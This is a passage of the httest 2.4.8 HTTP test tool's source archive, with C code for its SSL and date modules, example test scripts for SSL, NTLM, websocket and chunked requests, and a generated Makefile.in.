worker_log(worker, LOG_ERR, "No socket available"); return APR_ENOSOCKET; } if (worker->socket->socket_state == SOCKET_CONNECTED) { return APR_SUCCESS; } worker->socket->is_ssl = worker_set_client_method(worker, sslstr); if (!worker->socket->is_ssl) { /* nothing to do give the port info back */ *new_portinfo = portinfo; } else { *new_portinfo = port; /* lets see if we have cert infos */ if (rest && rest[0]) { cert = apr_strtok(rest, " ", &last); key = apr_strtok(NULL, " ", &last); ca = apr_strtok(NULL, " ", &last); } if ((status = worker_ssl_ctx(worker, cert, key, ca, 1)) != APR_SUCCESS) { return status; } SSL_CTX_set_options(config->ssl_ctx, SSL_OP_ALL); SSL_CTX_set_options(config->ssl_ctx, SSL_OP_SINGLE_DH_USE); #if (OPENSSL_VERSION_NUMBER >= 0x0090806f) SSL_CTX_set_options(config->ssl_ctx, SSL_OP_NO_TICKET); #endif } return APR_SUCCESS; } /** * parse line and extract the SSL relevant stuff * * @param worker IN * @param line IN original line * @param new_line OUT manipulated * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_server_port_args(worker_t *worker, char *portinfo, char **new_portinfo, char *rest) { apr_status_t status; char *port; char *copy = apr_pstrdup(worker->pbody, portinfo); char *sslstr = apr_strtok(copy, ":", &port); worker->socket->is_ssl = worker_set_server_method(worker, sslstr); if (!worker->socket->is_ssl) { /* if not ssl we do have nothing to do give back portinfo untouched */ *new_portinfo = portinfo; } else { ssl_gconf_t *gconf = ssl_get_global_config(worker->global); *new_portinfo = port; if ((status = worker_ssl_ctx(worker, gconf->certfile, gconf->keyfile, NULL, 0)) != APR_SUCCESS) { return status; } } return APR_SUCCESS; } /** * do ssl connect * * @param worker IN * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_hook_connect(worker_t *worker) { apr_status_t status; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (worker->socket->is_ssl) { transport_t *transport; ssl_transport_t *ssl_transport; BIO *bio; apr_os_sock_t fd; if ((status = ssl_new_instance(worker)) != APR_SUCCESS) { return status; } ssl_rand_seed(); apr_os_sock_get(&fd, worker->socket->socket); bio = BIO_new_socket(fd, BIO_NOCLOSE); SSL_set_bio(sconfig->ssl, bio, bio); if (sconfig->sess) { SSL_set_session(sconfig->ssl, sconfig->sess); SSL_SESSION_free(sconfig->sess); sconfig->sess = NULL; } SSL_set_connect_state(sconfig->ssl); if ((status = worker_ssl_handshake(worker)) != APR_SUCCESS) { return status; } ssl_transport = ssl_get_transport(worker, sconfig); transport = transport_new(ssl_transport, worker->pbody, ssl_transport_os_desc_get, ssl_transport_set_timeout, ssl_transport_get_timeout, ssl_transport_read, ssl_transport_write); transport_register(worker->socket, transport); if (worker->socket->sockreader) { sockreader_set_transport(worker->socket->sockreader, transport); } } return APR_SUCCESS; } /** * do ssl accept handshake * * @param worker IN * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_hook_accept(worker_t *worker, char *data) { apr_status_t status; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (worker->socket->is_ssl) { char *last; transport_t *transport; ssl_transport_t *ssl_transport; const char *cert = NULL; const char *key = NULL; const char *ca = NULL; ssl_gconf_t *gconf = ssl_get_global_config(worker->global); if (data && data[0]) { cert = apr_strtok(data, " ", &last); if (cert) { key = apr_strtok(NULL, " ", &last); } if (key) { ca = apr_strtok(NULL, " ", &last); } } if (!cert) { cert = gconf->certfile; } if (!key) { key = gconf->keyfile; } if (!ca) { ca = gconf->cafile; } if ((status = worker_ssl_ctx(worker, cert, key, ca, 1)) != APR_SUCCESS) { return status; } if ((status = worker_ssl_accept(worker)) != APR_SUCCESS) { return status; } ssl_transport = ssl_get_transport(worker, sconfig); transport = transport_new(ssl_transport, worker->pbody, ssl_transport_os_desc_get, ssl_transport_set_timeout, ssl_transport_get_timeout, ssl_transport_read, ssl_transport_write); transport_register(worker->socket, transport); if (worker->socket->sockreader) { sockreader_set_transport(worker->socket->sockreader, transport); } } return APR_SUCCESS; } /** * do ssl accept handshake * * @param worker IN * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_hook_close(worker_t *worker, char *info, char **new_info) { int i; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); *new_info = info; if (!info || !info[0]) { if (sconfig->ssl) { for (i = 0; i < 4; i++) { if (SSL_shutdown(sconfig->ssl) != 0) { break; } } SSL_free(sconfig->ssl); sconfig->ssl = NULL; } } else if (strcmp(info, "SSL") == 0) { /* do not shutdown SSL because it will also shutdown TCP * do just remove ssl methods by setting is_ssl to 0 */ worker->socket->is_ssl = 0; *new_info = NULL; /* work is done break hook chain here! */ return APR_EINTR; } return APR_SUCCESS; } /** * expect/grep/match SSL handshake * * @param worker IN * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_hook_read_pre_headers(worker_t *worker) { ssl_wconf_t *config = ssl_get_worker_config(worker); if (config->msgs) { int i; apr_table_entry_t *e = (apr_table_entry_t *) apr_table_elts(config->msgs)->elts; for (i = 0; i < apr_table_elts(config->msgs)->nelts; i++) { worker_match(worker, worker->match.dot, e[i].val, strlen(e[i].val)); worker_match(worker, worker->match.headers, e[i].val, strlen(e[i].val)); worker_match(worker, worker->grep.dot, e[i].val, strlen(e[i].val)); worker_match(worker, worker->grep.headers, e[i].val, strlen(e[i].val)); worker_expect(worker, worker->expect.dot, e[i].val, strlen(e[i].val)); worker_expect(worker, worker->expect.headers, e[i].val, strlen(e[i].val)); } apr_table_clear(config->msgs); apr_pool_destroy(config->msg_pool); apr_pool_create(&config->msg_pool, NULL); config->msgs = apr_table_make(config->msg_pool, 5); } return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t ssl_module_init(global_t *global) { apr_status_t status; /* setup ssl library */ #ifndef OPENSSL_NO_ENGINE ENGINE_load_builtin_engines(); #endif #ifdef RSAREF R_malloc_init(); #else CRYPTO_malloc_init(); #endif SSL_load_error_strings(); SSL_library_init(); ssl_util_thread_setup(global->pool); ssl_get_global_config(global); if ((status = module_command_new(global, "SSL", "SET_DEFAULT_CERT", "[] [] []", "set default cert files ", block_SSL_SET_DEFAULT_CERT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_CONNECT", "SSL|SSL2|SSL3|DTLS1|TLS1" #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) "|TLS1.1|TLS1.2" #endif " [ ]", "Needs a connected socket to establish a ssl " "connection on it.", block_SSL_CONNECT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_ACCEPT", "SSL|SSL2|SSL3|DTLS|TLS1" #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) "|TLS1.1|TLS1.2" #endif " [ ]", "Needs a connected socket to accept a ssl " "connection on it.", block_SSL_ACCEPT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_CLOSE", "", "Close the ssl connect, but not the " "underlying socket.", block_SSL_CLOSE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_GET_SESSION", "", "Stores the SSL session in .", block_SSL_GET_SESSION)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_SESSION", "", "Set a base64 encoded in " "the current SSL.", block_SSL_SET_SESSION)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_GET_SESSION_ID", "", "Get a SSL session id and store it in ", block_SSL_GET_SESSION_ID)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_RENEG_CERT", "[verify]", "Performs an SSL renegotiation and optional a verification. " "Stores the cert for later use with commands like" "_SSL_GET_CERT_VALUE or _SSL:SET_CERT", block_SSL_RENEG_CERT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_LOAD_CERT", "", "Read the given pem formated . Stores it for later use " "with commands like _SSL:GET_CERT_VALUE or _SSL:SET_CERT", block_SSL_LOAD_CERT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_CERT", "[ []]", "set cert either from file " "or got with _SSL:RENEG_CERT or _SSL:LOAD_CERT/_SSL:LOAD_KEY", block_SSL_SET_CERT)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_CA", "", "set cert", block_SSL_SET_CA)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_LOAD_KEY", "", "Read the given pem formated . Stores it for later use " "with commands like _SSL:SET_KEY", block_SSL_LOAD_KEY)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_GET_CERT_VALUE", " ", "Get and store it into \n" "Get cert with _SSL:RENEG_CERT or _SSL:LOAD_CERT\n" " are\n" " M_VERSION\n" " M_SERIAL\n" " V_START\n" " V_END\n" " V_REMAIN\n" " S_DN\n" " S_DN_\n" " I_DN\n" " I_DN_\n" " A_SIG\n" " A_KEY\n" " CERT", block_SSL_GET_CERT_VALUE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_ENGINE", "", "Set an openssl crypto to run tests with crypto devices", block_SSL_SET_ENGINE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_LEGACY", "on | off", "Turn on|off SSL legacy behavour for renegotiation for openssl libraries 0.9.8l and above", block_SSL_SET_LEGACY)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SECURE_RENEG_SUPPORTED", "", "Test if remote peer do support secure renegotiation", block_SSL_SECURE_RENEG_SUPPORTED)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_TRACE", "", "Start SSL debug session", block_SSL_TRACE)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "SSL", "_SET_CIPHER_SUITE", "", "Set an opnessl cipher suite to be used", block_SSL_CIPHER_SUITE)) != APR_SUCCESS) { return status; } htt_hook_worker_clone(ssl_worker_clone, NULL, NULL, 0); htt_hook_client_port_args(ssl_client_port_args, NULL, NULL, 0); htt_hook_server_port_args(ssl_server_port_args, NULL, NULL, 0); htt_hook_connect(ssl_hook_connect, NULL, NULL, 0); htt_hook_accept(ssl_hook_accept, NULL, NULL, 0); htt_hook_close(ssl_hook_close, NULL, NULL, 0); htt_hook_read_pre_headers(ssl_hook_read_pre_headers, NULL, NULL, 0); return APR_SUCCESS; } httest-2.4.8/src/date_module.c0000664000175100017510000001527512205142236013211 00000000000000/** * Copyright 2010 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool date module */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ const char * date_module = "date_module"; apr_time_t start_time; typedef struct date_wconf_s { apr_time_t start_time; } date_wconf_t; /************************************************************************ * Commands ***********************************************************************/ /** * Get lua config from worker * * @param worker IN worker * @return lua config */ static date_wconf_t *date_get_worker_config(worker_t *worker) { date_wconf_t *config = module_get_config(worker->config, date_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); config->start_time = start_time; module_set_config(worker->config, apr_pstrdup(worker->pbody, date_module), config); } return config; } /** * TIME command stores time in a variable [ms] * * @param self IN command * @param worker IN thread data object * @param data IN variable name * * @return APR_SUCCESS */ apr_status_t block_DATE_GET_TIME(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *var = store_get(worker->params, "1"); if (!var) { worker_log(worker, LOG_ERR, "Need a variable name to store time"); } worker_var_set(parent, var, apr_off_t_toa(worker->pbody, apr_time_as_msec(apr_time_now()))); return APR_SUCCESS; } /** * STRFTIME command * * @param self IN command * @param worker IN thread data object * @param data IN time [ms] "format" variable * * @return APR_SUCCESS or APR_EGENERAL on wrong parameters */ apr_status_t block_DATE_FORMAT(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; const char *time; const char *fmt; const char *var; const char *type; char *timefmt; apr_size_t len; apr_time_exp_t tm; apr_time_t timems; time = store_get(worker->params, "1"); fmt = store_get(worker->params, "2"); var = store_get(worker->params, "3"); type = store_get(worker->params, "4"); if (!time) { worker_log(worker, LOG_ERR, "Time not specified"); return APR_EGENERAL; } if (!fmt) { worker_log(worker, LOG_ERR, "Format not specified"); return APR_EGENERAL; } if (!var) { worker_log(worker, LOG_ERR, "Variable not specified"); return APR_EGENERAL; } timems = apr_atoi64(time); timefmt = apr_pcalloc(worker->pbody, 255); if (type && strncasecmp(type, "Local", 5) == 0) { if ((status = apr_time_exp_lt(&tm, timems * 1000)) != APR_SUCCESS) { return status; } } else { if ((status = apr_time_exp_gmt(&tm, timems * 1000)) != APR_SUCCESS) { return status; } } if ((status = apr_strftime(timefmt, &len, 254, fmt, &tm)) != APR_SUCCESS) { return status; } worker_var_set(parent, var, timefmt); return APR_SUCCESS; } /** * SYNC command * * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * * @return APR_SUCCESS */ apr_status_t block_DATE_SYNC(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_time_t seconds; apr_time_t next_full; const char *first = store_get(worker->params, "1"); apr_time_t now = apr_time_now(); if (!first || strcmp(first, "second") == 0) { seconds = apr_time_sec(now) + 1; next_full = apr_time_from_sec(seconds); } else /* if (first && strcmp(first, "minute") == 0) */ { seconds = apr_time_sec(now) + (60 - (apr_time_sec(now) % 60)); next_full = apr_time_from_sec(seconds); } apr_sleep(next_full - now); return APR_SUCCESS; } /** * TIMER command * @param worker IN callee * @param parent IN caller * @param ptmp IN temporary pool * @return APR_SUCCESS */ apr_status_t block_DATE_TIMER(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { const char *cmd; const char *var; date_wconf_t *wconf = date_get_worker_config(worker); apr_time_t cur = apr_time_now(); cmd = store_get(worker->params, "1"); var = store_get(worker->params, "2"); if (strcasecmp(cmd, "GET") == 0) { if (var && var[0] != 0) { worker_var_set(worker, var, apr_off_t_toa(ptmp, apr_time_as_msec(cur - wconf->start_time))); } } else if (strcasecmp(cmd, "RESET") == 0) { wconf->start_time = apr_time_now(); } else { worker_log(worker, LOG_ERR, "Timer command %s not implemented", cmd); } return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t date_module_init(global_t *global) { apr_status_t status; start_time = apr_time_now(); if ((status = module_command_new(global, "DATE", "_GET_TIME", "", "Stores the current time [ms] into ", block_DATE_GET_TIME)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "DATE", "_FORMAT", " __ __ __ END # Server handling the websocket stuff SERVER 9876 _RES _MATCH headers "Sec-WebSocket-Key: (.*)" WebsocketKey _WAIT __HTTP/1.1 101 Switching Protocols __Upgrade: websocket __Connection: Upgrade __Sec-WebSocket-Accept: $WebsocketAccept($WebsocketKey) __Sec-WebSocket-Protocol: chat __ _FLUSH _WS:RECV _WS:SEND FIN,TEXT AUTO "hallo welt" _CLOSE END httest-2.4.8/examples/ssl.htt0000664000175100017510000000151312203674076013134 00000000000000INCLUDE path/to/your/include/file SET YOUR_HOST=your.host SET YOUR_PORT=8080 # runs exactly one time CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "Regex of what you expect within headers or body" _EXPECT . "Another regex of what you expect also within headers or body" _MATCH headers "YourCookie=(.*)" YOUR_COOKIE_VAL _WAIT _REQ $YOUR_HOST SSL2:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: www.your.name __User-Agent: mozilla __Cookie: YourCookie=$YOUR_COOKIE_VAL __ _WAIT _REQ $YOUR_HOST TLS1:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: www.your.name __User-Agent: mozilla __Cookie: YourCookie=$YOUR_COOKIE_VAL __ _WAIT END httest-2.4.8/examples/auto_cookie.htt0000664000175100017510000000056612203674076014643 00000000000000CLIENT _AUTO_COOKIE on _REQ foo.bar.com 80 __GET / HTTP/1.1 __Host: foo.bar.com # this is not neccessary here, but do not bother the script or the functionality __Cookie: AUTO _ _WAIT __GET /foo HTTP/1.1 __Host: foo.bar.com # if a cookies was received by the last GET, this cookie will be set here instead # of AUTO __Cookie: AUTO _ _WAIT END httest-2.4.8/examples/concurrent.htt0000664000175100017510000000032712203674076014517 00000000000000# 50 concurrent clients, loop 100 times each client CLIENT 50 100 _REQ www.your.name 80 __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: www.your.name __User-Agent: mozilla __ _WAIT END httest-2.4.8/examples/include.htt0000664000175100017510000000005412141535453013751 00000000000000SET YOUR_PORT=8080 SET YOUR_HOST=your.host httest-2.4.8/examples/matchexec.htt0000664000175100017510000000046012203674076014274 00000000000000FILE data.txt _REGEX: foo(bar).*bla _DATA: asdfafoobarwerqw%20asdf%20asdfblahelloworld END CLIENT _MATCH EXEC "REGEX: (.*)" REGEX _EXEC cat data.txt _MATCH EXEC "DATA: (.*)" DATA _EXEC cat data.txt _URLDEC "$DATA" URL _MATCH EXEC "($REGEX)" HIT _EXEC echo $URL _EXEC echo $HIT END httest-2.4.8/examples/ntlm.htt0000664000175100017510000000163112203674076013306 00000000000000# # Test script/example for ntlm authentication # SET HOST=foo.bar SET PORT=80 SET USER=user SET PASSWD=secret SET URI=/ CLIENT _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST __User-Agent: mozilla __ _EXPECT . "WWW-Authenticate: NTLM" _WAIT _CLOSE _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=1 --write --flags="neg-oem neg-lm-key" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _MATCH headers "WWW-Authenticate: NTLM (.*)" MSG2 _WAIT _MATCH EXEC "\nchallenge: (.*)" CHL _EXEC $TOP/src/htntlm --read=$MSG2 --info _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=3 --write --challenge=$CHL --user=$USER --password=$PASSWD --response="lm" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _EXPECT . "200 OK" _WAIT END httest-2.4.8/examples/ntlm2sess.htt0000664000175100017510000000200512203674076014262 00000000000000# # Test script/example for ntlm authentication # SET HOST=foo.bar SET HOST_HDR=foo SET PORT=80 SET USER=user SET PASSWD=secret SET URI=/ CLIENT _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __User-Agent: mozilla __ _EXPECT . "WWW-Authenticate: NTLM" _WAIT _CLOSE _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=1 --write --flags="neg-oem neg-ntlm2-key req-target" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _MATCH headers "WWW-Authenticate: NTLM (.*)" MSG2 _WAIT _MATCH EXEC "\nchallenge: (.*)" CHL _EXEC $TOP/src/htntlm --read=$MSG2 --info _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=3 --write --challenge=$CHL --workstation=akira --domain=$DOMAIN --challenge=$CHL --user=$USER --password=$PASSWD --response="ntlm2-session" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _EXPECT . "200 OK" _WAIT END httest-2.4.8/examples/ntlm2.htt0000664000175100017510000000215012203674076013365 00000000000000# # Test script/example for ntlm authentication # SET HOST=foo.bar SET PORT=80 SET USER=user SET PASSWD=secret SET HOST_HDR=foo SET URI=/ CLIENT _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __User-Agent: mozilla __ _EXPECT . "WWW-Authenticate: NTLM" _WAIT _CLOSE _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=1 --write --flags="neg-oem neg-ntlm-key req-target" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _MATCH headers "WWW-Authenticate: NTLM (.*)" MSG2 _WAIT _MATCH EXEC "\ndomain: (.*)" DOMAIN _MATCH EXEC "\nchallenge: (.*)" CHL _MATCH EXEC "\ntarget info: (.*)" TINFO _EXEC $TOP/src/htntlm --read=$MSG2 --info _MATCH EXEC "(.*)" B64MSG _EXEC $TOP/src/htntlm --type=3 --write --challenge=$CHL --workstation=blafasel --domain=$DOMAIN --target-info=$TINFO --challenge=$CHL --user=$USER --password=$PASSWD --response="ntlm2 lm2" _REQ $HOST $PORT __GET $URI HTTP/1.1 __Host: $HOST_HDR __Authorization: NTLM $B64MSG __User-Agent: mozilla __ _EXPECT . "200 OK" _WAIT END httest-2.4.8/examples/Makefile.am0000664000175100017510000000041712203674076013650 00000000000000EXTRA_DIST= \ auto_cookie.htt \ clientserver.htt \ concurrent.htt \ include.htt \ macro_get.htt \ macro_post.htt \ matchexec.htt \ ntlm2.htt \ ntlm2sess.htt \ ntlm.htt \ simple.htt \ ssl.htt \ transfertypes.htt \ websocket_client.htt \ websocket_html.htt httest-2.4.8/examples/websocket_client.htt0000664000175100017510000000071412203674076015661 00000000000000# This script connect to echo.websocket.org and send a "hallo welt" and receive # the echo "hallo welt". CLIENT _REQ echo.websocket.org 80 __GET / HTTP/1.1 __Upgrade: websocket __Connection: Upgrade __Host: echo.websocket.org __Origin: http://websocket.org __Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== __Sec-WebSocket-Version: 13 __ _WAIT _WS:SEND FIN,TEXT AUTO "hallo welt" 0x12345678 _WS:RECV OP LEN _DEBUG $OP $LEN _CLOSE END httest-2.4.8/examples/clientserver.htt0000664000175100017510000000061012203674076015035 00000000000000SET YOUR_HOST=sesdev SET YOUR_PORT=8081 # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1== __ END httest-2.4.8/examples/transfertypes.htt0000664000175100017510000000143312203674076015245 00000000000000INCLUDE path/to/your/include/file SET YOUR_HOST=your.host SET YOUR_PORT=8080 # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: 13 __ __Hello World 1 __ _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __Hello World 2 __ _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Transfer-Encdoding: chunked __ _FLUSH __Hello World 3 _CHUNK __Hello World 4 _CHUNK __Hello World 5 _CHUNK __ __0 __ __ _WAIT END httest-2.4.8/examples/macro_get.htt0000664000175100017510000000020512203674076014270 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/macros/request_simple.htb CLIENT _SIMPLE:GET http://foo/bla/fasel HTTP/1.1 _WAIT END httest-2.4.8/examples/macro_post.htt0000664000175100017510000000047112203674076014503 00000000000000INCLUDE $TOP/test/config.htb INCLUDE $TOP/macros/simple_request.htb CLIENT _SIMPLE:POST http://foo/bla/fasel HTTP/1.1 _SIMPLE:FORM_URLENC MY _SIMPLE:FORM_URLENC_ARG $MY foo bar&bla _SIMPLE:FORM_URLENC_ARG $MY bla fasel _SIMPLE:FORM_URLENC_ARG $MY hello kitty _SIMPLE:FORM_URLENC_END $MY _WAIT END httest-2.4.8/examples/Makefile.in0000664000175100017510000002461112205603770013656 00000000000000# Makefile.in generated by automake 1.11.6 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software # Foundation, Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. @SET_MAKE@ VPATH = @srcdir@ am__make_dryrun = \ { \ am__dry=no; \ case $$MAKEFLAGS in \ *\\[\ \ ]*) \ echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ *) \ for am__flg in $$MAKEFLAGS; do \ case $$am__flg in \ *=*|--*) ;; \ *n*) am__dry=yes; break;; \ esac; \ done;; \ esac; \ test $$am__dry = yes; \ } pkgdatadir = $(datadir)/@PACKAGE@ pkgincludedir = $(includedir)/@PACKAGE@ pkglibdir = $(libdir)/@PACKAGE@ pkglibexecdir = $(libexecdir)/@PACKAGE@ am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = @build@ host_triplet = @host@ subdir = examples DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/m4/libtool.m4 \ $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = depcomp = am__depfiles_maybe = SOURCES = DIST_SOURCES = am__can_run_installinfo = \ case $$AM_UPDATE_INFO_DIR in \ n|no|NO) false;; \ *) (install-info --version) >/dev/null 2>&1;; \ esac DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = @ACLOCAL@ AMTAR = @AMTAR@ AR = @AR@ AUTOCONF = @AUTOCONF@ AUTOHEADER = @AUTOHEADER@ AUTOMAKE = @AUTOMAKE@ AWK = @AWK@ CC = @CC@ CCDEPMODE = @CCDEPMODE@ CFLAGS = @CFLAGS@ CPP = @CPP@ CPPFLAGS = @CPPFLAGS@ CYGPATH_W = @CYGPATH_W@ DEFS = @DEFS@ DEPDIR = @DEPDIR@ DLLTOOL = @DLLTOOL@ DSYMUTIL = @DSYMUTIL@ DUMPBIN = @DUMPBIN@ ECHO_C = @ECHO_C@ ECHO_N = @ECHO_N@ ECHO_T = @ECHO_T@ EGREP = @EGREP@ EXEEXT = @EXEEXT@ FGREP = @FGREP@ GREP = @GREP@ HTTEST_MODULES = @HTTEST_MODULES@ INSTALL = @INSTALL@ INSTALL_DATA = @INSTALL_DATA@ INSTALL_PROGRAM = @INSTALL_PROGRAM@ INSTALL_SCRIPT = @INSTALL_SCRIPT@ INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ LD = @LD@ LDFLAGS = @LDFLAGS@ LIBOBJS = @LIBOBJS@ LIBS = @LIBS@ LIBTOOL = @LIBTOOL@ LIPO = @LIPO@ LN_S = @LN_S@ LTLIBOBJS = @LTLIBOBJS@ MAKEINFO = @MAKEINFO@ MANIFEST_TOOL = @MANIFEST_TOOL@ MKDIR_P = @MKDIR_P@ NM = @NM@ NMEDIT = @NMEDIT@ OBJDUMP = @OBJDUMP@ OBJEXT = @OBJEXT@ OTOOL = @OTOOL@ OTOOL64 = @OTOOL64@ PACKAGE = @PACKAGE@ PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ PACKAGE_NAME = @PACKAGE_NAME@ PACKAGE_STRING = @PACKAGE_STRING@ PACKAGE_TARNAME = @PACKAGE_TARNAME@ PACKAGE_URL = @PACKAGE_URL@ PACKAGE_VERSION = @PACKAGE_VERSION@ PATH_SEPARATOR = @PATH_SEPARATOR@ RANLIB = @RANLIB@ SED = @SED@ SET_MAKE = @SET_MAKE@ SHELL = @SHELL@ STRIP = @STRIP@ VERSION = @VERSION@ abs_builddir = @abs_builddir@ abs_srcdir = @abs_srcdir@ abs_top_builddir = @abs_top_builddir@ abs_top_srcdir = @abs_top_srcdir@ ac_ct_AR = @ac_ct_AR@ ac_ct_CC = @ac_ct_CC@ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ am__include = @am__include@ am__leading_dot = @am__leading_dot@ am__quote = @am__quote@ am__tar = @am__tar@ am__untar = @am__untar@ bindir = @bindir@ build = @build@ build_alias = @build_alias@ build_cpu = @build_cpu@ build_os = @build_os@ build_vendor = @build_vendor@ builddir = @builddir@ datadir = @datadir@ datarootdir = @datarootdir@ docdir = @docdir@ dvidir = @dvidir@ exec_prefix = @exec_prefix@ host = @host@ host_alias = @host_alias@ host_cpu = 